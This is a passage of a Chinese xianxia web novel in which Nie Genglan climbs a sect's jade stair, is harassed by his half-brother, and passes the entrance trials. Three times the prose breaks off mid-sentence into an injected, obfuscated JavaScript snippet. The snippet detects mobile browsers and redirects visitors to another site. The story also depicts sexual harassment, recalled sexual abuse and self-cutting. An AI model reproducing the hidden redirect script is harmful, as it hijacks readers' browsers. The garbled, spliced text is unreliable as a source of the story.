声如洪钟的动静响彻了湖面上每一处角落,安如风的声音再次传来:“本轮比试结束,请乘坐仙鹤回到湖边,把储物袋交上来!” 聂更阑和许田田以及众人飞回到岸边,一个个把储物袋上交。 随后,安如风宣布:“下一轮比试在半个时辰后开始,请诸位道友抓紧时间休息,力争在下一轮比试展现自己对求仙问道的的决心和毅力!” 许田田高高兴兴招呼聂更阑来到湖边的一处角落休息,迫不及待询问刚才寻找仙鹤的细节。 两人都使用了伪装气息的符篆,并且许田田也按照聂更阑的办法加入了灵兽的毛发,但许田田却比聂更阑多花了一些时间寻找仙鹤。 “这是为什么?我们俩的步骤不是一模一样么?”许田田百思不得其解,“而且你那只仙鹤还是主动跑过来找你的呢,还蹭你!” 聂更阑也心存疑惑,想不通其中的关键。 许田田又道:“我方才观察过,四周这么多人没有一只仙鹤对其他人亲近的,也就只有你了,莫非你身上有什么法宝吸引仙鹤?” 聂更阑:“我所有的东西都在储物袋里了。” “也是。” 许田田早就看过聂更阑的储物袋,里面有什么法宝他一清二楚,反正怎么都想不通,也懒得再纠结此事了,而是说起另外一件趣事。 “那个许盼娣的弟弟你还记得吗?” 许盼娣的弟弟许刚因为久久找不到自己的那只仙鹤开始着急,强行要爬上其他仙鹤的背,被仙鹤给摔下来,不死心又爬,干脆最后被甩进了湖里,然后被红晶树枝条打伤,小腿骨被敲断,已经被抬下去医治了。 “哈哈哈这个蠢货,果然如她姐姐所说丝毫没有天资和悟性,他们的爹娘真是一言难尽。”许田田边吃着干粮一遍疯狂吐槽许刚。 聂更阑想起那个倔强的姑娘的脸庞,默默祈祷许盼娣能顺利通过这一轮的比试。 …… 半个时辰休息时间结束。 仙鹤再次出现载起通过比试的弟子。在空中,聂更阑终于看清,原来这方湖水在半山腰的位置,而山脚的广场则在更低的地方。 没多久,所有人来到一处仙雾渺渺的天梯面前。 17. 水镜 天梯由通透的的通灵玉筑成,绵长看不到尽头。若是行走在阶梯上,四周仅有鸟儿鸣蹄水声潺潺,除此之外再无任何动静。 安如风扬声开口:“此为登天梯,一共九千九百九十九道台阶,只有攀爬到终点才能站在灵音宗的山门前,拥有求仙问道的资格。可若是连这份攀爬的毅力和勇气都没有,我劝诸位不妨现在就离开。” 人群中无一人动弹。 安如风:“很好,既然都有这份决心,那么请听好规则。本轮比试全程不可使用任何灵力,倘若中途坚持不住可以按亮分发给诸位的玉牌,会有人赶来解救,但也意味着你本次大选失去了最终角逐的资格。本次时间限制为三天三夜,三日后没到达到山门者,亦视为挑战失败。” 安如风说到这,再次问:“诸位道友,听清楚规则了?” “听清楚了!” “很好,那么本轮比试正式开始,希望我们能在山门见!” 安如风言毕,手一挥,连带着身后的一众师兄弟姐妹消失在空气中。 通过红晶叶比试的只有一千四百多人,但也足够壮观,乌泱泱的人群开始慢慢往登天玉梯上涌去。 许田田:“哎,聂道友,咱们慢慢爬吧?前面不保存体力,后面会吃亏。” 聂更阑赞同这个提议,和许田田慢慢沿着玉阶往上爬。有不少人和他们策略一样,是以,一开始他们四周的人还算不少。 但过一天后,身边的人开始渐渐稀少。 聂更阑不清楚他们爬了多久,也不清楚还剩多少台阶,只感觉越往爬越高,回望身后,下方云雾遮掩如同深渊一般,见之心惊胆战。 而高处亦是云雾缥缈,游云缓慢穿过,四周静谧得仿佛他们已经腾云驾雾身处九天之上。 聂更阑累得开始喘/息,双眼发黑,脑袋发懵,仿佛能闭眼直接睡过去:“我、我们昨日爬了多少层玉阶?” 许田田同样也累得嘴唇发白,说话:“我估算了一下,约莫是一千多吧,至多也有一千七百多一点儿。” 两人为了计算一天一夜大约能爬多少台阶,十二个时辰没休息过了。而如果照这个速度爬的话,他们三天爬上的台阶数量最多也只有五千多,根本不可能到达灵音宗的山门。 许田田:“聂道友,我想我们可能得就此分开了,尽量少说话留存体力。” 这是他们在爬玉阶之前就商量好的对策,聂更阑并无异议。许田田于是加快了速度,双手并用往上爬取。 约莫一刻钟后,聂更阑疲累不堪,只能原地坐下休息,再次睁开眼时,许田田已经变成一个小点,慢慢地再也看不到身影。 聂更阑恢复些许体力后,重新动身。 他需要加快速度了。 最关键的决赛点,是明天的最后几个时辰。应当有不少人拼尽全力不管不顾往上爬,势必要到达山门。 因此,在那几个时辰之前,是必须要好好睡一觉巩固体力的。 聂更阑也有一样的想法。 他在一片寂静声中,心中慢慢数数,“一百二十,一百二十一,一百二十二……两千三百,两千三百零一……” 第二天,他爬了大约两千七百多个阶梯。加上第一天的,也只有四千四百多。 只因中间聂更阑休息了整整三个时辰,浪费了一些时间。 聂更阑临时改变计划,决定接下来不浪费任何一刻钟,拼尽全力往上爬。 他喉咙冒烟发疼,呼吸刺痛困难,浑身上下没有哪一处不酸痛,汗水早就从眼皮流淌而下打在眼睛。脸颊上,顺延到脖颈和锁骨上。 但他不敢停。 不知过了多久,聂更阑停下来稍微喘/息时,忽然听到上方传来一道讥讽声。 “哎哟,这不是我脸上有道疤的好弟弟么?没想到你居然能坚持爬到这里,之前小看你了。” 聂更阑身体一僵,幽幽抬头,往玉阶旁的石台看去,聂云斟正抱着双臂居高临下打量他。 他模样不算狼狈,甚至可以算得上从容。他已经筑基,按理来说应当早已遥遥领先,不知为何会出现在此处。 聂更阑不做声,沉着脸只管闷头继续爬。 聂云斟被冷落,嘴角扯起个轻蔑的弧度,悠哉跟在艰难攀爬的少年身边,“弟弟,以你的体质想爬到山门简直是痴人做梦,不如这样,我这里有一枚高阶大力丹丸,吃了保准你生龙活虎爬到终点,如何?” 聂更阑眼角余光冷淡,依旧没有看这人,直接视他如无物。 聂云斟冷笑,“我知道你很想要这枚丹丸,这样,你过来亲哥哥一口,这枚丹丸我立刻送到你嘴边,怎么样?” 聂更阑瞳眸极淡,极冷,充耳不闻只管往前爬, 聂云斟一恼,冷笑着靠近聂更阑手一捞欲将人扯过来,“弟弟,别敬酒不吃吃罚酒。” 聂更阑早就处于脱力状态,被一拽手立刻松开玉阶,却也不肯让对方得逞,一脚踢了过去。 对方吃痛放开他,聂更阑失去支撑点,骨碌骨碌往下滚了足足十几级台阶才在一处宽阔的台面停下。 他前胸后背被嗑得生疼,尤其手腕脚腕,被嗑出七八道血印子。 聂云斟优雅地从上面走下来,慢慢蹲在聂更阑身前,捏起他的下巴,“弟弟,你参加灵音宗的弟子大选,本身就是个错误。倘若你委身于我,我可以考虑助你事成。” …… 灵音宗,妙音峰主殿立着一面巨大的水镜。 宗主和几位真君看到玉阶上被掐住下巴的少年,都面面相觑。 宗主若有所思:“这不是聂家家主的公子?没想到聂大公子私底下……”他欲言又止,最终还是没说出口。 青炎真君指向狼狈的少年:“这位是聂家主寻回的那位私生子吧?心性倒是坚韧,有得大道之志,只是这资质么,嗯……” 诸位真君闻言面面相觑,没人再做出任何评价。 …… 玉阶上。 聂云斟:“啧啧,遮住疤痕依旧是一副魅惑狐狸精的样儿,弟弟啊,你就该去合欢宗,好好学习怎样成为一个优秀的炉鼎才是正事。” 聂更阑被捏得下巴生疼,唇色苍白地从牙缝里挤出几个字,“放、放开我!” 他牙齿在打架,高处风大,只要稍微停下攀爬寒意就会一阵一阵钻入骨缝刺得人直哆嗦。 聂云斟声音嘲弄:“这次比试你注定折戟,届时合欢宗你定能顺利拜师 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13631760|143581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,弟弟,你四灵根若是想修炼,只能倚仗他人,别怪哥哥没提醒过你。” 说着,他倾下身子,渐渐靠近聂更阑的脸,以及那张色泽虽苍白可形状依旧勾人的唇。 聂更阑扭过头死死咬住嘴唇,开始剧烈挣扎。 “滚……” “滚开!” 异样的气息喷在聂更阑面颊上,温热又恶心至极。 聂云斟:“劝你还是不要浪费体力,否则剩下的台阶你根本爬不完。” 话一出,聂更阑果然不再动弹,绝望地闭上眼。一股泛酸的恶心感慢慢翻涌,而那股灼热的气息正在慢慢靠近他。 聂云斟嘴角咧开,笑容扩大。 正当他即将碰到那张昳丽的唇时,不知从何处激射而出一道灵力。这道灵力不算高强,但对付筑基期却是绰绰有余。 聂云斟毫无防备,惊叫一声摔在一旁。 聂更阑被叫声惊得睁开眼,看到聂云斟摔倒,心神一凛,收拾起力气迅速往上爬去。 神佛保佑。 千万别让他碰到聂云斟的跟班,那些人只怕会用更恶心的方法对付他。 好在接下来的路程他没再碰到周炎或者汪淼淼,只是会时不时碰到一个个筋疲力尽的参选道友。 半个时辰后,落后的聂云斟不知何时已经赶上来,他面上有了道摔伤的血痕。这次四周有人,他只是狠狠瞪一眼聂更阑,没再刁难,自顾自迅速往上而去。 聂更阑抿着唇,汗滴一颗颗砸在玉阶上。 时间流逝得异常漫长。 玉阶两旁有不少力竭的参选弟子,在朝过路人伸手求救,聂更阑根本没有力气再多看一眼,只能继续往前爬。 玉阶上时不时会传来升空的灵力信号。那是实在无法支撑的人按亮玉牌向宗门发出的求救信号。 聂更阑不敢停,不能休息,只能往前。在这种情况下,只要多停留一刻就会被寒气和疲劳席卷再也爬不起来。 繁星和露水交替时,又是新的一天。 今日是比试的最后一天。 在最后的几个时辰,聂更阑的体力已经到了极限。 然而他却已经忘记自己到底爬了多少阶梯,只能大概估算一个数目,不敢停歇地继续爬。 寒风猎猎,刮着身上的皮肤掀起阵阵刺痛,有时候甚至睁不开眼睛,嘴唇也皴裂出数道裂纹。 而他脸上那道疤痕也在隐隐发痒。 聂更阑不敢挠。他指尖因为用力抓着玉阶而早已泛白,此时恨不得把指甲嵌进阶石里。 这玉阶到底还有多少路程?有没有可能在结束之前他爬到终点?如果没有可能,那他现在还不如好好躺下来休息。他实在太累了,喉咙干燥火辣辣,鼻腔里亦是。 这样永无止境攀爬的意义到底是什么?他修仙的意义又是什么? 就在他眼前渐渐发黑,那似乎永无尽头的玉阶模糊成一片时,遥远的上方传来声声呐喊的回音。 “聂道友!” “聂更阑!” “千万挺住啊!” “挺过这关咱们就距离灵音宗又近一步了!” 聂更阑一个激灵从迷糊中惊醒。 是许田田。 18. 剑尊与龙 *** 灵音宗,玉髓峰。 洞府仙气杳渺,气势磅礴的主殿内,一条龙游蛇般在殿内游走,攀沿上粗壮的柱子盘成一圈又一圈,金色的脑袋时不时轻点,静静打量玉榻上闭目打坐的男人。 男人一身霜色长袍,倾泻而下的袍角委顿于地,一头青丝未束冠长长披散而下,与堆叠的袍角交织在一处。 蓦地,男人清冷的眸子微张,唇半启:“何事?” 龙的竖瞳动了动,脑袋往殿内的水镜一点,“我说剑尊大人,宗门弟子大选,宗主和长老特意连接了水镜请你观看,你真不打算看一眼?” 男人微张的清冷眸子彻底闭上,没有答话。 龙哼了一声“没意思”,目光重新投向水镜,恰好看到玉阶上少年被掐住下巴,顿时大怒发出一声咆哮。 “该死。” “我要走了。” 龙从柱子上急速游走而下,穿过大殿欲往外飞走,却被阖眸的男人叫住,“站住。” 龙声音急切:“作甚?我有急事!” 男人:“阵法里,你见到他了?” “放心,见到了见到了!他好得很,无事发生,一切顺利!” 龙急吼吼答完飞出大殿,穿过整座玉髓峰,在飞出峰头禁制的一刹那幻化成人形,飞往妙音峰。 *** “聂道友!聂更阑!撑住啊!” 许田田高亢的激励声在头顶回响。 聂更阑心中划过一道暖流。 许田田应当是已经达到了终点个,清楚最后这段路是意志力最薄弱的时候,于是特意用这种方式鼓励他。 聂更阑闭上双眼,往事一幕幕闪现。 在绿苑时,老鸨发现他对男人厌恶以后,命其他小倌轮流亲近触碰他,聂更阑吐得最严重的一次,是被绑在床上,老鸨强行让一个小倌压在他身上,一动不动压了整整两个时辰,那次聂更阑不仅吐了满床都臭,身上还过敏出现一大片红疹子。 意识回笼,眼前还是延绵无尽的玉阶。 生疼的太阳穴突突跳个不停,脑袋昏沉,手脚无力。 聂更阑咬紧牙关,从旁边灵植灌木丛里找到一块尖利石子。 “刺啦。” 一划,手腕上出现一道口子,刺疼和鲜血同时袭来。 聂更阑犹觉不够,在另一边手腕、脸、大腿小腿以及脚腕都划破了无数道口子。 聂更阑闷哼出声,多处剧痛让他瞬间清醒,手脚忽然不知从何处涌出无穷的力量开始拼尽全力往上爬,速度比前两天任何时候都要快。 越往上,人越多,这些都是在朝着胜利靠近的弟子。 聂更阑动力剧增,兼之许田田时不时从上方传来呐喊声,他的爬行速度越来越快。 山门前已经站了不少达到终点的弟子,都各自在向下方的人加油鼓劲。 “安师兄说时间马上就到了,各位道友加油,胜利就在眼前啊!” 聂更阑一鼓作气,四肢并用全速前进。不多时,一道气势恢宏壮观的山门在缭绕云雾中出现,和玉阶一样皆是由通灵玉筑造而成。 刹那间众人仿佛看到了仙歌乐舞、威严渺远的九重天上的盛景,就连筋疲力尽都消散几分,精神为之一振。 聂更阑已经将嘴唇咬破,划破的各处伤口也在滴血,只为全力加速前进。 山门前,他居然在人群之中看到了聂云斟及其小跟班汪淼淼。 聂更阑再次咬牙。 通灵玉山门就在眼前,还差十几级玉阶就能触到那道巍峨高大的山门。 在最后几级台阶时,倒数声已经在响起。 “三十、二十九、二十八……” “加油!” “聂道友,给我冲啊啊啊!” 聂更阑拖着伤痕累累的身体,只差三四阶台阶就能碰到山门。 而就在这时,一只手从后面抓住了他的脚。 脱力的聂更阑乍然停下,耳边是震耳喧天的倒数声,心跳也如同擂鼓般咚咚直响。 他回头,蓦地对上周炎那张阴鸷的脸。 笑容在对方脸上扩大,逐渐放肆。 是周炎。 而周炎在钳制聂更阑的同时,自己也在往上快速攀爬。 很快,他就超过了聂更阑,而后者依旧不能动弹。 许田田在上面看到,当场破口大骂:“操,这孙子是不是找死,小爷要弄死他!” 安如风凉凉地开口:“师弟慎言,宗门内禁制斗殴杀戮,否则会被驱逐出宗门,重者被宗门刑法处置,神魂俱灭。” 许田田闻言气得走来走去,恨不得冲下去把那王八蛋撕碎。 倒计时还在继续:“十、九、八、七……” 周炎已经超越聂更阑三四个台阶,手够不到,就改换做脚踩在聂更阑手上。 “唔!” 聂更阑吃痛,手脚差点脱力滚落。关键时刻,他迅速从怀里掏出那块尖利石头往周炎脚上一挥。 “啊啊啊!” 惨叫声响起的同时,聂更阑顾不得疼痛迅速站起,越过了最后几级台阶穿过山门倒在了门内。 “……三、二、一!” 最后一声倒计时结束,山门前的空气响起一片欢呼声。 许田田狂笑不止,冲过来抱住聂更阑,“哈哈哈,我就知道你小子可以的,过了过了,这一关我们过了!” 抱完之后看到聂更阑脸色不太好,赶紧放开,“糟糕,我又忘了,你不喜欢……” “无事,”聂更阑冲他绽开一道灿烂的笑容,“你没有恶意,我知道。” 许田田尴尬地挠挠头:“聂、聂道友……你长得确实挺好看,尤其是、笑起来的时候。” 聂更阑向他露出一个友善的笑。 从小到大夸赞他好看的人不计其数,但大多都带有不怀好意的成分,像许田田这样真诚夸赞的,可以说是从未有过。 是以聂更阑对他的称赞并不反感。 山门前热闹拥挤,全是欢呼声。 许田田看到周炎也在,瞪大眼睛不满叫到:“这孙子怎么也在,不是被你划伤手脚了吗!” 周炎对他横眉竖目:“你他娘的骂谁是孙子!” 不知从何处赶来的朔立即喝止他们俩:“宗门禁止斗殴无事生非,都给我闭嘴!” 说罢,朔急吼吼冲过来对聂更阑嘘寒问暖,“聂师弟,你受伤了?让我看看严不严重?我这里有疗伤丹药,给你!” 聂更阑看着热情的师兄从储物 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13631761|143581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 袋掏丹药,淡声制止:“多谢师兄,丹药就不必了,师兄有水囊么?” “水囊?” 朔还未反应过来时,许田田已经从储物袋里掏出水囊,“我有我有,聂道友我没碰过壶嘴,你放心喝吧。” 聂更阑冲他舒展眉眼,拿出一块巾帕用水打湿,用力擦在下巴上,一下,两下,把皮肤搓得生疼火辣。 许田田不明白这是在做什么,朔却懂了,视线盯着少年白皙的下巴,喉结动了又动,已经看得痴呆了。 安如风这时哂笑道:“朔师弟,宗门禁止斗殴?听到你这么教训师弟,我还真有种今夕不知何夕的错觉呢。” 朔悻悻低头:“师兄,这个时候你打趣我?能不能给我留点面子。” 安如风哂笑,随即,放大数倍的声音再次响彻所有人耳边。 “恭喜诸位师弟师妹通过了本届大比的最后一轮比试,请诸位移步上方一处偏厅稍作休息,我们即刻统计通过本届大选的名单。” 人群中当即炸开了锅。 “最后一轮比试?不是统共有三轮吗,怎么只有两轮?!” “是不是临时改了规定?那原先通关两轮进入宗门的规定就得改成通关一轮就能进宗门了?” 聂更阑和许田田也被这突如其来的变动震惊,忍不住面面相觑。 安如风:“肃静!” 众多弟子瞬间安静如鸡。 安如风:“第一轮比试早已举行,就在第二轮比试之前,诸位不妨想想,在红晶叶比试之前,都发生过什么?” 人群中,在广场上和许田田一同买题目的少年之一叫道:“广场上,那个许什么的姑娘……” 经他一提醒,众人纷纷想起了许盼娣一家子的事。 周炎眼里划过一丝戾气:“什么?这也算是考验?” 许田田表情呆滞:“我的本家……他们居然是比试的一环?” 有人叫道:“所以那一家子是师兄师姐们假扮的?可是那个许刚不是还参加了比试么?他也是假的?” “是啊是啊,我还看到那个许盼娣也参加比试了,她也是假的?” 这时又有人指着人群惊叫:“许盼娣和许刚在这!” 所有目光瞬间聚焦在这对自称是姐弟的两人身上。 许盼娣神色沉静从容:“许刚确实是我弟弟,我们是真的。” 许刚也参与了登天玉阶的比试。 此时他恨恨地瞪着亲姐姐,恨不得爹娘真的把她拽回家才好。据他所知,红晶叶和登天玉梯的比试许盼娣都通过了。 可恶! 女子就该在家织布耕田相夫教子,修什么仙?!她就该一心一意助自己进入灵音宗才对,如今却夺了他的风头和资格! 朔这时懒洋洋地一歪头开始显摆,“许盼娣和许刚确实是一对姐弟,只不过那对夫妇么……” 许田田恍然大悟:“那对夫妇是假的?!” 假的? 许盼娣、许刚面上浮现出一抹疑惑的神色,他们……没有爹娘么? 安如风打了个响指。 姐弟两人瞳孔逐渐涣散放大,直至,重新聚焦,最后恢复了清明。 许盼娣低声喃喃:“是的,我们的双亲……早已亡故。” 19. 第一轮比试 那一年,因为天灾,许盼娣一家在路上逃亡,因为许刚闹着要吃肉,许盼娣在发烧的情况下被爹娘支使出去给弟弟抓野鸡,随后她因病体支撑不住晕倒在小山洞里,翌日醒来回去时才得知爹娘已经葬送在虎口之下。 从此许盼娣和许刚相依为命,许盼娣担起了抚养弟弟的责任。 今年灵音宗大选,许盼娣想着弟弟既然要上路参加比试,觉得自己也应当争一争,于是决定跟着低低一块上路。 谁知道许刚却心生不满,“若我落选,家里停止耕织两个月,待我回来时吃什么?你不如安分点在家里绣花样织布!” 许盼娣:“咱们还有点存银,就是一路上辛苦些,回来后朴素半个月就能回到之前的日子,若是我们都入选,就更加不愁吃穿,还能学习仙道法术,不是更好么?” 但许刚死活不同意姐姐参加大选,许盼娣只能偷偷跟在后面出发,直来了杳鹤城才露面,许刚不满呵斥姐姐回去,许盼娣生气坚决不肯。 而安如风带着一众弟子前来杳鹤城巡查时,发现姐弟俩的争执,当即将此事上报宗门长老,随后,提出了临时改变题目的建议。 …… 许盼娣这才惊觉,前几日广场上的双亲不过是幻象。此时不禁潸然落泪。 许刚却目露凶光狠狠瞪着姐姐:“没用的东西,当年你若是能早点找到吃的回来,爹娘也不必葬身野兽腹中了!” 许田田跳起来:“你怎么说话的,没良心的混账玩意儿,你对得起你姐姐吗?!” 许刚冷笑:“你这么帮着这个贱蹄子,难不成是喜欢她?” 安如风不耐听这种争吵,竖起一只手制止:“都不许吵了。” “许盼娣的爹娘皆是幻象,他们在广场上演的情形正是此次的比试题目。”安如风解释。 张琥珀举手提问:“安师兄,那怎样才算通过这轮比试?” 安如风一一环视众多参选弟子,神情肃清:“修仙是为修心,修真界的正义需要我们匡扶,倘若世风日下,人心不古,修士岂能有一个安心修炼的环境?因此,也希望诸位道友学有所悟,以除魔卫道、歼灭宵小为己任,绝不可任其败坏修真界的秩序和风气,摧毁我等修仙之人的风骨节气!” 这番荡气回肠的发言感染了在场所有弟子,引得众人纷纷应和:“谨记安师兄教诲!” 除了许刚。 许刚气急败坏地指着安如风破口大骂:“你骂谁谁是宵小呢,我姐姐就该供着我一人吃穿住用,供着我上灵音宗拜师,她一个弱流女子能成什么大事,我……” 他话没说完,被朔手一挥,一道强劲灵力扫过去将其掀翻在地。 安如风看着许刚从地上狼狈地爬起,神情淡然超外:“许道友,不妨提前告知,你比试只通过了最后一轮,现在就可以离开了,不送。” 许刚凶恶地还要争辩,被安如风一挥,所有人瞬间消失在山门前,只余许刚一人留在原地。 “喂!喂!”许刚孤零零一人在山门前呼喊,“你们把老子扔在这算怎么回事,来人,来人!” 他欲往前冲上另一道台阶,却被无形的灵力障墙挡了回来,无论怎么试皆是如此。累得筋疲力尽之后,许刚猛地看向来时的路,向下是云雾缥缈的望不到尽头的玉阶。 难不成要他再重新爬下去?! *** 众弟子转瞬间出现在一处偏殿内,被安如风告知稍后片刻,需要统计最后通过比试的总弟子名单。 聂更阑等人依旧处于云里雾里的状态,对方才发生的事尚未没反应过来。 还是许田田忽然记起什么,小声问:“哎哎,安师兄好像还没说到底怎么样才算通过第一轮比试,你觉得……” 他话说到一半,猛地盯住聂更阑,满脸惊讶:“该不会是你通过了第一轮的比试吧?怪不得你会被阵法单独传送走,而安师兄他们对此丝毫不意外,还告诉我会见到你的!” 聂更阑垂眸。 他通过了第一轮比试? 第一轮的评判标准是什么,是他赶上前劝阻解救许盼娣?这就是安师兄所说的,心怀正义,维护修真界的和平与秩序么? …… 一炷香后,一张比试榜单排名出炉。 众人竞相争看。 许田田挤在人堆里大叫:“聂道友,我帮你找,你在外面等——啊!这位道友你踩到我的脚了!” 聂更阑在人群外静静等待。 第三轮比试他已经确定通过,第一轮尚未确定。而第二轮,则是依靠搜集红晶叶数量决定胜负,数量越高,排名越靠前。 聂更阑深呼吸一口气,告诉自己不要紧张。 一声讥讽从后面响起:“合欢宗无论男女精魅妖怪都能诱之,伺候人的本事亦是一流,你还不如听我的去灵音宗,那里能发挥你的所长。” 聂更阑不用听也知道是谁,神色一寒,不动声色走到另一侧,不打算理会聂云斟。 没想到这混账又跟了过来,悠闲地看着周炎和汪淼淼在替他挤人堆查看榜单。 “怎么弟弟,你不肯相信我的话?”聂云斟话语饱含逗弄调戏,“那里不仅能发挥你的长处,若是能碰到一个修为高的做他的炉鼎,你的修为也会跟着水涨船高,无须自己拼命努力。” “弟弟,凭你这四灵根的资质,还是要为自己早做打算,否则后悔晚矣。” 聂更阑咬紧嘴唇,身上的伤口隐隐传来刺痛,极力想忽视这人的话引起的心神震动。 “聂道友!” 许田田这时终于看完榜单,兴奋地挤出人群奔过来,“过了过了,我和你都过了,我们都是灵音宗的弟子了,我们做到了!” 聂更阑淡色的瞳眸倏然张大,旋即露出惊喜。 他通过了? 从此以后,他能开始修炼,步入修仙大道了! 许田田喜出望外之余,看到聂云斟神色阴沉盯着自己和聂更阑,急忙奔过来,“聂道友,他是不是又欺负你了?走,别理会这厮。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13631762|143581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 许田田拉着聂更阑去了大殿另一头。 殿中有人哭有人笑,也有人喜得在殿内狂奔打滚,大吼大叫,真有点凡界金榜题名和名落孙山时的人间百态的意味了。 不多时,安如风率执事堂弟子再次出现,命师弟师妹把落选的人负责送下山。 很快,院子里泱泱一片只剩下三百多人。 安如风微微一笑:“恭喜在场的诸位道友,从今天起正式成为灵音宗弟子。” “关于第一轮比试方才尚未解释完毕,想必你们看过榜单后也已经清楚,通过第一轮比试的仅有一人,便是,那位聂更阑的师弟。” 安如风目光准确地落在人群中的聂更阑身上,“师弟,是你,没错吧?” 所有视线顿时纷纷落在聂更阑身上。 “没想到是他啊,他不是那个从凡界来的小倌吗?” “通过比试就是上去制止许盼娣被双亲带走?啊啊啊,我当时也想去来着,现在后悔了!而且当时人又挤又多,我就没行动了!” “我不信我比不过这个丑八怪,要是再来一次,我绝对能通过比试!” 聂云斟和周炎相视一眼,神情极为复杂。汪淼淼小声道:“他好厉害……” 周炎一个凶狠的目光瞪过去,汪淼淼立刻噤声,喏喏地低头。 安如风这时又道:“可能诸位心里多少有些不服,若你们知道这是比试,我想这项比试所有人都能通过。可恰是因为不知情,才有其特殊的意义。” 张琥珀这时怏怏不乐地嘀咕:“可我会以为这是别人的家事,我没资格和立场插手。” 许田田不满:“你们不服就不服,骂什么丑八怪,嘴巴干净点多点友善和睦不行吗?再说了,当时小爷我也想追过去来着人太多没挤过去,我都没出声你们跳什么脚?” 那些嚼舌根的弟子碍于师兄师姐在场,顿时不敢作声了。 人群中,风华绝代的一个少年和一个少女相视一眼,从头至尾并未说话。那日他们在广场上也本来打算要追,亦是被拥挤的人群阻隔而放弃了。 安如风这时淡淡开口:“诸位,这就是比试的意义所在,通过这项比试,说不定能对诸位起到一个警醒亦或教导的作用,结合我今日在山门前的话,诸位好好领悟,说不定也能从中寻到你想要的道。” “好了,你们接连疲累几日,先休息,而后是测灵根、分内外门弟子以及拜师大典,我在这里提前祝诸位好运。” 安如风交代好事情,吩咐朔领及其他弟子带领几百名师弟师妹前往清竹阁。这三日他们将睡在大通铺,在确定内外门弟子后才重新分配住处。 人群慢慢向外涌去。 许田田高兴地招呼聂更阑往前走,一掌呼在他胳膊肘上,“你小子居然通过了第一轮比试,真有你的!” “我当时没想这么多。”聂更阑低声道。 “嗐,知道,你是出于本能,这也是安师兄所称道的一种品德,就让他们嫉妒去,你别理那些人。” 20. 心上人 “总之啊,能进入宗门就是最厉害的!”许田田因为通过比试,心情格外风和日丽,“希望我们都能成为内门弟子!我听说内门弟子得到的资源都是最好的,他们资质佳悟性足被视为宗门重点培养的对象,什么天材地宝,丹药之类的分配都是上乘的!而且就连住宿都是单人单间!” “哇,内门弟子有这么多优待?” 广场上和他一块买题目的少年张琥珀和同伴魏禧这会儿凑了过来。 许田田:“是啊是啊,我还听说外门弟子一般都会成为宗门内的杂役弟子,总之修炼的增益一定是比内门弟子少的,毕竟资质限制嘛,因此只能把他们往各方面的人才培养了。” 魏禧:“那就没有外门弟子逆袭成为修炼天才的励志故事么?外门弟子也不想一辈子只当外门弟子呀!” “当然有,不过都是极少数,还是得后期靠自己的秉性天赋之类的吧。”许田田下了结论。 没多久,几百人被带到清竹阁,旁边是涧月阁,再旁边是溪水阁。众人分成几拨住在这三个院子,几天后会正式分配院落。 人群涌动中,许田田忽然想起一件事,拉了拉聂更阑的衣袖。 “哎哎,你不是不能与男子亲密接触,那这个大通铺怎么办?要不要我去找安师兄说说,让他给你安排个单独的住处?” 聂更阑摇摇头:“不必这么麻烦,我总得学会克服。” 前方领头的朔师兄闻言,微微转头瞥了眼聂更阑。 很快,许田田聂更阑被领进清竹阁。这院子有九间厢房,他们随人流进了最东边的房间。 一进去,才发现里头有二十多个通铺。 “哇,这清竹阁看着不大,居然一个厢房能容得下这么多人。” “不过环境还是比俺村里那个破茅屋好多了嘿嘿,我喜欢!” 许田田一本正经道:“也比我之前乞讨睡过的破庙好多了。” 他兴奋地问聂更阑:“聂道友,你想睡哪里?咱们俩挑个好位置吧,嘿嘿嘿。” 聂更阑指向一个角落:“我睡靠墙的——” “咚!” 话未落,他整个人轰然倒地。 “聂道友!!” *** 灵音宗,玉髓峰。 盘在柱子上的龙盯着男人看了半天,吐吐信子,出声道:“最近几天宗门弟子大选我玩得很开心。” 清鸿剑尊阖上眸子:“嗯。” “我不仅玩得开心,还碰到了一个心上人。” “我喜欢他。” “心上人?” “对。” 清鸿剑尊像是听到什么笑话一般,淡漠的眸子微睁,很快又合上,“嗯。” “我想追求他,日后打算把他接到玉髓峰上住,这事儿你没意见吧?” 清鸿剑尊再次睁开眸子。 龙对上那双冷若冰霜的瞳眸有一瞬间的畏缩,继而又梗着龙首理直气壮道:“我又没有洞府,有了心上人自然是要将他接到玉髓峰住了!” 清鸿剑尊声音淡而渺远:“情之一事,两情相悦为上佳。” “呵呵,像我这么威风凛凛的龙,他不可能不喜欢我,只要我展开追求,他必定动心!” 龙骄傲地摆了摆尾巴,脑袋又开始左右摇晃,“你就说答不答应嘛!” 清鸿剑尊蹙起眉峰,从喉间溢出冷哼,“从前也不是没有随侍弟子住过玉髓峰。” 龙瞬间兴奋地扭动躯体狂甩尾巴。 